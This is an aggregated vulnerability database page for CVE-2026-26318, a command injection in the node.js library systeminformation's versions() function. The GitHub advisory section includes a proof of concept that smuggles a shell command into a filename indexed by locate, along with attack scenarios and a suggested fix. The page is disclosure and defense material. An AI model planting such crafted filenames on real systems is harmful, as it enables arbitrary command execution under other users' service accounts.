CVE-2026-26318 (GCVE-0-2026-26318)

Vulnerability from cvelistv5 – Published: 2026-02-19 19:48 – Updated: 2026-07-15 01:15

Title

systeminformation has Command Injection via Unsanitized `locate` Output in `versions()`

Summary

systeminformation is a System and OS information library for node.js. Versions prior to 5.31.0 are vulnerable to command injection via unsanitized `locate` output in `versions()`. Version 5.31.0 fixes the issue.

Severity

8.8 (High)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

SSVC

Exploitation: none Automatable: no Technical Impact: total

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-02-19 20:57 UTC

CWE

CWE-78 - Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

Assigner

GitHub_M mitre root

References

5 references

URL	Tags
https://github.com/sebhildebrandt/systeminformati…	x_refsource_CONFIRM
https://github.com/sebhildebrandt/systeminformati…	x_refsource_MISC
https://access.redhat.com/security/cve/CVE-2026-26318	vdb-entryx_refsource_REDHAT
https://bugzilla.redhat.com/show_bug.cgi?id=2441124	issue-trackingx_refsource_REDHAT
https://security.access.redhat.com/data/csaf/v2/v…	x_sadp-csaf-vex

Impacted products

2 products

Vendor	Product	Version	CPE status
sebhildebrandt	systeminformation	Affected: < 5.31.0	guessed
Red Hat	Red Hat Developer Hub	cpe:/a:redhat:rhdh:1

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              "url": "https://github.com/sebhildebrandt/systeminformation/security/advisories/GHSA-5vv4-hvf7-2h46"
            },
            {
              "name": "https://github.com/sebhildebrandt/systeminformation/commit/b67d3715eec881038ccbaace2f2711419ac3e107",
              "tags": [
                "x_refsource_MISC"
              ],
              "url": "https://github.com/sebhildebrandt/systeminformation/commit/b67d3715eec881038ccbaace2f2711419ac3e107"
            }
          ],
          "source": {
            "advisory": "GHSA-5vv4-hvf7-2h46",
            "discovery": "UNKNOWN"
          },
          "title": "systeminformation has Command Injection via Unsanitized `locate` Output in `versions()`"
        }
      },
      "cveMetadata": {
        "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "assignerShortName": "GitHub_M",
        "cveId": "CVE-2026-26318",
        "datePublished": "2026-02-19T19:48:55.816Z",
        "dateReserved": "2026-02-13T16:27:51.807Z",
        "dateUpdated": "2026-07-15T01:15:02.230Z",
        "state": "PUBLISHED"
      },
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }
  }
}

FKIE_CVE-2026-26318

Vulnerability from fkie_nvd - Published: 2026-02-19 20:25 - Updated: 2026-07-15 02:19

Severity

8.8 (High) - CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
8.8 (High) - CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Summary

References

URL	Tags
security-advisories@github.com	https://github.com/sebhildebrandt/systeminformation/commit/b67d3715eec881038ccbaace2f2711419ac3e107	Patch
security-advisories@github.com	https://github.com/sebhildebrandt/systeminformation/security/advisories/GHSA-5vv4-hvf7-2h46	Exploit, Mitigation, Vendor Advisory
0b0ca135-0b70-47e7-9f44-1890c2a1c46c	https://access.redhat.com/security/cve/CVE-2026-26318
0b0ca135-0b70-47e7-9f44-1890c2a1c46c	https://bugzilla.redhat.com/show_bug.cgi?id=2441124
0b0ca135-0b70-47e7-9f44-1890c2a1c46c	https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-26318.json

Impacted products

	Vendor	Product	Version
	systeminformation	systeminformation	*

JSON

To clipboard

{
  "affected": [
    {
      "affectedData": [
        {
          "product": "systeminformation",
          "vendor": "sebhildebrandt",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 5.31.0"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    },
    {
      "affectedData": [
        {
          "collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
          "cpes": [
            "cpe:/a:redhat:rhdh:1"
          ],
          "defaultStatus": "affected",
          "packageName": "rhdh/rhdh-hub-rhel9",
          "product": "Red Hat Developer Hub",
          "vendor": "Red Hat"
        }
      ],
      "source": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c"
    }
  ],
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:systeminformation:systeminformation:*:*:*:*:*:node.js:*:*",
              "matchCriteriaId": "809E119A-47CB-4DDB-BB2B-A587E4D50E15",
              "versionEndExcluding": "5.31.0",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "systeminformation is a System and OS information library for node.js. Versions prior to 5.31.0 are vulnerable to command injection via unsanitized `locate` output in `versions()`. Version 5.31.0 fixes the issue."
    },
    {
      "lang": "es",
      "value": "systeminformation es una biblioteca de informaci\u00f3n del sistema y del SO para node.js. Las versiones anteriores a la 5.31.0 son vulnerables a inyecci\u00f3n de comandos a trav\u00e9s de la salida no saneada de \u0027locate\u0027 en \u0027versions()\u0027. La versi\u00f3n 5.31.0 soluciona el problema."
    }
  ],
  "id": "CVE-2026-26318",
  "lastModified": "2026-07-15T02:19:01.553",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "LOCAL",
          "availabilityImpact": "HIGH",
          "baseScore": 8.8,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "LOW",
          "scope": "CHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 2.0,
        "impactScore": 6.0,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      },
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "LOCAL",
          "availabilityImpact": "HIGH",
          "baseScore": 8.8,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "LOW",
          "scope": "CHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 2.0,
        "impactScore": 6.0,
        "source": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-26318",
          "options": [
            {
              "exploitation": "none"
            },
            {
              "automatable": "no"
            },
            {
              "technicalImpact": "total"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-02-19T20:57:34.116139Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-02-19T20:25:44.063",
  "references": [
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Patch"
      ],
      "url": "https://github.com/sebhildebrandt/systeminformation/commit/b67d3715eec881038ccbaace2f2711419ac3e107"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Exploit",
        "Mitigation",
        "Vendor Advisory"
      ],
      "url": "https://github.com/sebhildebrandt/systeminformation/security/advisories/GHSA-5vv4-hvf7-2h46"
    },
    {
      "source": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
      "url": "https://access.redhat.com/security/cve/CVE-2026-26318"
    },
    {
      "source": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2441124"
    },
    {
      "source": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
      "url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-26318.json"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Modified",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-78"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    },
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-78"
        }
      ],
      "source": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
      "type": "Secondary"
    }
  ]
}

GHSA-5VV4-HVF7-2H46

Vulnerability from github – Published: 2026-02-18 22:36 – Updated: 2026-09-24 14:41

Summary

Command Injection via Unsanitized `locate` Output in `versions()` — systeminformation

Details

Command Injection via Unsanitized `locate` Output in `versions()` — systeminformation

Package: systeminformation (npm)
Tested Version: 5.30.7
Affected Platform: Linux
Author: Sebastian Hildebrandt
Weekly Downloads: ~5,000,000+
Repository: https://github.com/sebhildebrandt/systeminformation
Severity: Medium
CWE: CWE-78 (OS Command Injection)

The Vulnerable Code Path

Inside the versions() function, when detecting the PostgreSQL version on Linux, the code does this:

// lib/osinfo.js — lines 770-776

exec('locate bin/postgres', (error, stdout) => {
  if (!error) {
    const postgresqlBin = stdout.toString().split('\n').sort();
    if (postgresqlBin.length) {
      exec(postgresqlBin[postgresqlBin.length - 1] + ' -V', (error, stdout) => {
        // parses version string...
      });
    }
  }
});

Here's what happens step by step:

It runs locate bin/postgres to search the filesystem for PostgreSQL binaries
It splits the output by newline and sorts the results alphabetically
It takes the last element (highest alphabetically)
It concatenates that path directly into a new exec() call with + ' -V'

No sanitizeShellString(). No path validation. No execFile(). Raw string concatenation into exec().

The locate command reads from a system-wide database (plocate.db or mlocate.db) that indexes all filenames on the system. If any indexed filename contains shell metacharacters — specifically semicolons — those characters will be interpreted by the shell when passed to exec().

Exploitation

Prerequisites

For this vulnerability to be exploitable, the following conditions must be met:

Target system runs Linux — the vulnerable code path is inside an if (_linux) block
locate / plocate is installed — common on Ubuntu, Debian, Fedora, RHEL
PostgreSQL binary exists in the locate database — so locate bin/postgres returns results (otherwise the code falls through to a safe psql -V fallback)
The attacker can create files on the filesystem — in any directory that gets indexed by updatedb
The locate database gets updated — updatedb runs daily via systemd timer (plocate-updatedb.timer) or cron on most distros

Step 1 — Verify the Environment

On the target machine, confirm locate is available and running:

which locate
# /usr/bin/locate

systemctl list-timers | grep plocate
# plocate-updatedb.timer    plocate-updatedb.service
# (runs daily, typically around 1-2 AM)

Check who owns the locate database:

ls -la /var/lib/plocate/plocate.db
# -rw-r----- 1 root plocate 18851616 Feb 14 01:50 /var/lib/plocate/plocate.db

Database is root-owned and updated by root. Regular users cannot update it directly, but updatedb runs on a daily schedule and indexes all readable files.

Step 2 — Craft the Malicious File Path

The key insight is that Linux allows semicolons in filenames, and exec() passes strings through /bin/sh -c which interprets semicolons as command separators.

Create a file whose path contains an injected command:

mkdir -p "/var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin"
touch "/var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres"

Verify it exists:

find /var/tmp -name postgres
# /var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres

This file needs to end up in the locate database. On a real system, this happens automatically when updatedb runs overnight. For testing purposes:

sudo updatedb

Then verify locate picks it up:

locate bin/postgres
# /usr/lib/postgresql/14/bin/postgres
# /var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres

Step 3 — Understand the Sort Trick

The vulnerable code sorts the locate results alphabetically and takes the last element:

const postgresqlBin = stdout.toString().split('\n').sort();
exec(postgresqlBin[postgresqlBin.length - 1] + ' -V', ...);

Alphabetically, /var/ sorts after /usr/. So our malicious path naturally becomes the selected one:

Node.js sort order:
  [0] /usr/lib/postgresql/14/bin/postgres   ← legitimate
  [1] /var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres   ← selected (last)

Quick verification:

node -e "
const paths = [
  '/usr/lib/postgresql/14/bin/postgres',
  '/var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres'
];
console.log('Sorted:', paths.sort());
console.log('Selected (last):', paths[paths.length - 1]);
"

Output:

Sorted: [
  '/usr/lib/postgresql/14/bin/postgres',
  '/var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres'
]
Selected (last): /var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres

Step 4 — Trigger the Vulnerability

Now when any application using systeminformation calls versions() requesting the postgresql version, the injected command fires:

const si = require('systeminformation');

// This is a normal, innocent API call
si.versions('postgresql').then(data => {
  console.log(data);
});

Internally, the library builds and executes this command:

/var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres -V

The shell (/bin/sh -c) interprets this as three separate commands:

/var/tmp/x                         →  fails silently (not executable)
touch /tmp/SI_RCE_PROOF            →  ATTACKER'S COMMAND EXECUTES
/bin/postgres -V                   →  runs normally, returns version

Step 5 — Verify Code Execution

ls -la /tmp/SI_RCE_PROOF
# -rw-rw-r-- 1 appuser appuser 0 Feb 14 15:30 /tmp/SI_RCE_PROOF

The file exists. Arbitrary command execution confirmed.

The injected command runs with whatever privileges the Node.js process has. In a monitoring dashboard or backend API context, that's typically the application service account.

Real-World Attack Scenarios

Scenario 1 — Shared Hosting / Multi-Tenant Server

A low-privileged user on a shared server creates the malicious file in /tmp or their home directory. The hosting provider runs a monitoring agent that uses systeminformation for health dashboards. Next time the agent calls versions(), the attacker's command executes under the monitoring agent's (higher-privileged) service account.

Scenario 2 — CI/CD Pipeline Poisoning

A malicious contributor submits a PR that includes a build step creating files with crafted names. If the CI pipeline uses systeminformation for environment reporting (common in test harnesses and build dashboards), the injected commands execute in the CI runner context — potentially leaking secrets, tokens, and deployment keys.

Scenario 3 — Container / Kubernetes Escape

In containerized environments where /var or /tmp sits on a shared volume, a compromised container creates the malicious file. When the host-level monitoring agent (running systeminformation) calls versions(), the injected command executes on the host, breaking out of the container boundary.

Suggested Fix

Replace exec() with execFile() for the PostgreSQL binary version check. execFile() does not spawn a shell, so metacharacters in the path are treated as literal characters:

const { execFile } = require('child_process');

exec('locate bin/postgres', (error, stdout) => {
  if (!error) {
    const postgresqlBin = stdout.toString().split('\n')
      .filter(p => p.trim().length > 0)
      .sort();
    if (postgresqlBin.length) {
      execFile(postgresqlBin[postgresqlBin.length - 1], ['-V'], (error, stdout) => {
        // ... parse version
      });
    }
  }
});

Additionally, the locate output should be validated against a safe path pattern before use:

const safePath = /^[a-zA-Z0-9/_.-]+$/;
const postgresqlBin = stdout.toString().split('\n')
  .filter(p => safePath.test(p.trim()))
  .sort();

Disclosure

Reported via: GitHub Private Security Advisory
Advisory URL: https://github.com/sebhildebrandt/systeminformation/security/advisories/new
Security Contact: security@systeminformation.io

Severity

8.8 (High)


                  
                    CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "systeminformation"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.31.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-26318"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-78"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-18T22:36:50Z",
    "nvd_published_at": "2026-02-19T20:25:44Z",
    "severity": "HIGH"
  },
  "details": "# Command Injection via Unsanitized `locate` Output in `versions()` \u2014 systeminformation\n\n**Package:** systeminformation (npm)  \n**Tested Version:** 5.30.7  \n**Affected Platform:** Linux  \n**Author:** Sebastian Hildebrandt  \n**Weekly Downloads:** ~5,000,000+  \n**Repository:** https://github.com/sebhildebrandt/systeminformation  \n**Severity:** Medium  \n**CWE:** CWE-78 (OS Command Injection)  \n\n---\n\n### The Vulnerable Code Path\n\nInside the `versions()` function, when detecting the PostgreSQL version on Linux, the code does this:\n\n```javascript\n// lib/osinfo.js \u2014 lines 770-776\n\nexec(\u0027locate bin/postgres\u0027, (error, stdout) =\u003e {\n  if (!error) {\n    const postgresqlBin = stdout.toString().split(\u0027\\n\u0027).sort();\n    if (postgresqlBin.length) {\n      exec(postgresqlBin[postgresqlBin.length - 1] + \u0027 -V\u0027, (error, stdout) =\u003e {\n        // parses version string...\n      });\n    }\n  }\n});\n```\n\nHere\u0027s what happens step by step:\n\n1. It runs `locate bin/postgres` to search the filesystem for PostgreSQL binaries\n2. It splits the output by newline and sorts the results alphabetically\n3. It takes the **last element** (highest alphabetically)\n4. It concatenates that path directly into a new `exec()` call with `+ \u0027 -V\u0027`\n\n**No `sanitizeShellString()`. No path validation. No `execFile()`. Raw string concatenation into `exec()`.**\n\nThe `locate` command reads from a system-wide database (`plocate.db` or `mlocate.db`) that indexes all filenames on the system. If any indexed filename contains shell metacharacters \u2014 specifically semicolons \u2014 those characters will be interpreted by the shell when passed to `exec()`.\n\n---\n\n## Exploitation\n\n### Prerequisites\n\nFor this vulnerability to be exploitable, the following conditions must be met:\n\n1. **Target system runs Linux** \u2014 the vulnerable code path is inside an `if (_linux)` block\n2. **`locate` / `plocate` is installed** \u2014 common on Ubuntu, Debian, Fedora, RHEL\n3. **PostgreSQL binary exists in the locate database** \u2014 so `locate bin/postgres` returns results (otherwise the code falls through to a safe `psql -V` fallback)\n4. **The attacker can create files on the filesystem** \u2014 in any directory that gets indexed by `updatedb`\n5. **The locate database gets updated** \u2014 `updatedb` runs daily via systemd timer (`plocate-updatedb.timer`) or cron on most distros\n\n### Step 1 \u2014 Verify the Environment\n\nOn the target machine, confirm locate is available and running:\n\n```\nwhich locate\n# /usr/bin/locate\n\nsystemctl list-timers | grep plocate\n# plocate-updatedb.timer    plocate-updatedb.service\n# (runs daily, typically around 1-2 AM)\n```\n\nCheck who owns the locate database:\n\n```\nls -la /var/lib/plocate/plocate.db\n# -rw-r----- 1 root plocate 18851616 Feb 14 01:50 /var/lib/plocate/plocate.db\n```\n\nDatabase is root-owned and updated by root. Regular users cannot update it directly, but `updatedb` runs on a daily schedule and indexes all readable files.\n\n### Step 2 \u2014 Craft the Malicious File Path\n\nThe key insight is that **Linux allows semicolons in filenames**, and `exec()` passes strings through `/bin/sh -c` which **interprets semicolons as command separators**.\n\nCreate a file whose path contains an injected command:\n\n```\nmkdir -p \"/var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin\"\ntouch \"/var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres\"\n```\n\nVerify it exists:\n\n```\nfind /var/tmp -name postgres\n# /var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres\n```\n\nThis file needs to end up in the `locate` database. On a real system, this happens automatically when `updatedb` runs overnight. For testing purposes:\n\n```\nsudo updatedb\n```\n\nThen verify locate picks it up:\n\n```\nlocate bin/postgres\n# /usr/lib/postgresql/14/bin/postgres\n# /var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres\n```\n\n### Step 3 \u2014 Understand the Sort Trick\n\nThe vulnerable code sorts the locate results alphabetically and takes the **last** element:\n\n```javascript\nconst postgresqlBin = stdout.toString().split(\u0027\\n\u0027).sort();\nexec(postgresqlBin[postgresqlBin.length - 1] + \u0027 -V\u0027, ...);\n```\n\nAlphabetically, `/var/` sorts **after** `/usr/`. So our malicious path naturally becomes the selected one:\n\n```\nNode.js sort order:\n  [0] /usr/lib/postgresql/14/bin/postgres   \u2190 legitimate\n  [1] /var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres   \u2190 selected (last)\n```\n\nQuick verification:\n\n```\nnode -e \"\nconst paths = [\n  \u0027/usr/lib/postgresql/14/bin/postgres\u0027,\n  \u0027/var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres\u0027\n];\nconsole.log(\u0027Sorted:\u0027, paths.sort());\nconsole.log(\u0027Selected (last):\u0027, paths[paths.length - 1]);\n\"\n```\n\nOutput:\n\n```\nSorted: [\n  \u0027/usr/lib/postgresql/14/bin/postgres\u0027,\n  \u0027/var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres\u0027\n]\nSelected (last): /var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres\n```\n\n### Step 4 \u2014 Trigger the Vulnerability\n\nNow when any application using systeminformation calls `versions()` requesting the postgresql version, the injected command fires:\n\n```javascript\nconst si = require(\u0027systeminformation\u0027);\n\n// This is a normal, innocent API call\nsi.versions(\u0027postgresql\u0027).then(data =\u003e {\n  console.log(data);\n});\n```\n\nInternally, the library builds and executes this command:\n\n```\n/var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres -V\n```\n\nThe shell (`/bin/sh -c`) interprets this as three separate commands:\n\n```\n/var/tmp/x                         \u2192  fails silently (not executable)\ntouch /tmp/SI_RCE_PROOF            \u2192  ATTACKER\u0027S COMMAND EXECUTES\n/bin/postgres -V                   \u2192  runs normally, returns version\n```\n\n### Step 5 \u2014 Verify Code Execution\n\n```\nls -la /tmp/SI_RCE_PROOF\n# -rw-rw-r-- 1 appuser appuser 0 Feb 14 15:30 /tmp/SI_RCE_PROOF\n```\n\nThe file exists. Arbitrary command execution confirmed.\n\nThe injected command runs with **whatever privileges the Node.js process has**. In a monitoring dashboard or backend API context, that\u0027s typically the application service account.\n\n---\n\n## Real-World Attack Scenarios\n\n### Scenario 1 \u2014 Shared Hosting / Multi-Tenant Server\n\nA low-privileged user on a shared server creates the malicious file in `/tmp` or their home directory. The hosting provider runs a monitoring agent that uses `systeminformation` for health dashboards. Next time the agent calls `versions()`, the attacker\u0027s command executes under the monitoring agent\u0027s (higher-privileged) service account.\n\n### Scenario 2 \u2014 CI/CD Pipeline Poisoning\n\nA malicious contributor submits a PR that includes a build step creating files with crafted names. If the CI pipeline uses `systeminformation` for environment reporting (common in test harnesses and build dashboards), the injected commands execute in the CI runner context \u2014 potentially leaking secrets, tokens, and deployment keys.\n\n### Scenario 3 \u2014 Container / Kubernetes Escape\n\nIn containerized environments where `/var` or `/tmp` sits on a shared volume, a compromised container creates the malicious file. When the host-level monitoring agent (running `systeminformation`) calls `versions()`, the injected command executes on the host, breaking out of the container boundary.\n\n---\n\n## Suggested Fix\n\nReplace `exec()` with `execFile()` for the PostgreSQL binary version check. `execFile()` does not spawn a shell, so metacharacters in the path are treated as literal characters:\n\n```javascript\nconst { execFile } = require(\u0027child_process\u0027);\n\nexec(\u0027locate bin/postgres\u0027, (error, stdout) =\u003e {\n  if (!error) {\n    const postgresqlBin = stdout.toString().split(\u0027\\n\u0027)\n      .filter(p =\u003e p.trim().length \u003e 0)\n      .sort();\n    if (postgresqlBin.length) {\n      execFile(postgresqlBin[postgresqlBin.length - 1], [\u0027-V\u0027], (error, stdout) =\u003e {\n        // ... parse version\n      });\n    }\n  }\n});\n```\n\nAdditionally, the locate output should be validated against a safe path pattern before use:\n\n```javascript\nconst safePath = /^[a-zA-Z0-9/_.-]+$/;\nconst postgresqlBin = stdout.toString().split(\u0027\\n\u0027)\n  .filter(p =\u003e safePath.test(p.trim()))\n  .sort();\n```\n\n---\n\n## Disclosure\n\n- **Reported via:** GitHub Private Security Advisory\n- **Advisory URL:** https://github.com/sebhildebrandt/systeminformation/security/advisories/new\n- **Security Contact:** security@systeminformation.io",
  "id": "GHSA-5vv4-hvf7-2h46",
  "modified": "2026-09-24T14:41:15Z",
  "published": "2026-02-18T22:36:50Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/sebhildebrandt/systeminformation/security/advisories/GHSA-5vv4-hvf7-2h46"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-26318"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sebhildebrandt/systeminformation/commit/b67d3715eec881038ccbaace2f2711419ac3e107"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2026-26318"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2441124"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/sebhildebrandt/systeminformation"
    },
    {
      "type": "WEB",
      "url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-26318.json"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Command Injection via Unsanitized `locate` Output in `versions()` \u2014 systeminformation"
}

UBUNTU-CVE-2026-26318 (CVE-2026-26318)

Vulnerability from osv_ubuntu – Published: 2026-02-19 20:25 – Updated: 2026-06-30 16:19 – Source website

Details

systeminformation is a System and OS information library for node.js. Versions prior to 5.31.0 are vulnerable to command injection via unsanitized locate output in versions(). Version 5.31.0 fixes the issue.

Severity

8.8 (High)


                    
                      CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

8.8 (High)


                    
                      CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

N/A (UNKNOWN)


                    
                      medium

References

URL

Type

	https://ubuntu.com/security/CVE-2026-26318	REPORT
	https://www.cve.org/CVERecord?id=CVE-2026-26318	REPORT

JSON

To clipboard

{
  "affected": [
    {
      "ecosystem_specific": {
        "binaries": [
          {
            "binary_name": "jupyterlab",
            "binary_version": "4.0.11+ds1+~cs11.25.27-7"
          }
        ]
      },
      "package": {
        "ecosystem": "Ubuntu:25.10",
        "name": "jupyterlab",
        "purl": "pkg:deb/ubuntu/jupyterlab@4.0.11+ds1+~cs11.25.27-7?arch=source\u0026distro=questing"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "4.0.11+ds1+~cs11.25.27-5",
        "4.0.11+ds1+~cs11.25.27-6",
        "4.0.11+ds1+~cs11.25.27-7"
      ]
    },
    {
      "ecosystem_specific": {
        "binaries": [
          {
            "binary_name": "jupyterlab",
            "binary_version": "4.0.11+ds1+~cs11.25.27-9"
          }
        ]
      },
      "package": {
        "ecosystem": "Ubuntu:26.04:LTS",
        "name": "jupyterlab",
        "purl": "pkg:deb/ubuntu/jupyterlab@4.0.11+ds1+~cs11.25.27-9?arch=source\u0026distro=resolute"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "4.0.11+ds1+~cs11.25.27-7",
        "4.0.11+ds1+~cs11.25.27-8",
        "4.0.11+ds1+~cs11.25.27-9"
      ]
    }
  ],
  "aliases": [],
  "details": "systeminformation is a System and OS information library for node.js. Versions prior to 5.31.0 are vulnerable to command injection via unsanitized `locate` output in `versions()`. Version 5.31.0 fixes the issue.",
  "id": "UBUNTU-CVE-2026-26318",
  "modified": "2026-06-30T16:19:39Z",
  "published": "2026-02-19T20:25:00Z",
  "references": [
    {
      "type": "REPORT",
      "url": "https://ubuntu.com/security/CVE-2026-26318"
    },
    {
      "type": "REPORT",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-26318"
    }
  ],
  "related": [],
  "schema_version": "1.7.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "medium",
      "type": "Ubuntu"
    }
  ],
  "upstream": [
    "CVE-2026-26318"
  ]
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

CVE-2026-26318 (GCVE-0-2026-26318)

FKIE_CVE-2026-26318

GHSA-5VV4-HVF7-2H46

Command Injection via Unsanitized locate Output in versions() — systeminformation

The Vulnerable Code Path

Exploitation

Prerequisites

Step 1 — Verify the Environment

Step 2 — Craft the Malicious File Path

Step 3 — Understand the Sort Trick

Step 4 — Trigger the Vulnerability

Step 5 — Verify Code Execution

Real-World Attack Scenarios

Scenario 1 — Shared Hosting / Multi-Tenant Server

Scenario 2 — CI/CD Pipeline Poisoning

Scenario 3 — Container / Kubernetes Escape

Suggested Fix

Disclosure

UBUNTU-CVE-2026-26318 (CVE-2026-26318)

Tags

Sightings

Nomenclature

Related by attack behaviour

Command Injection via Unsanitized `locate` Output in `versions()` — systeminformation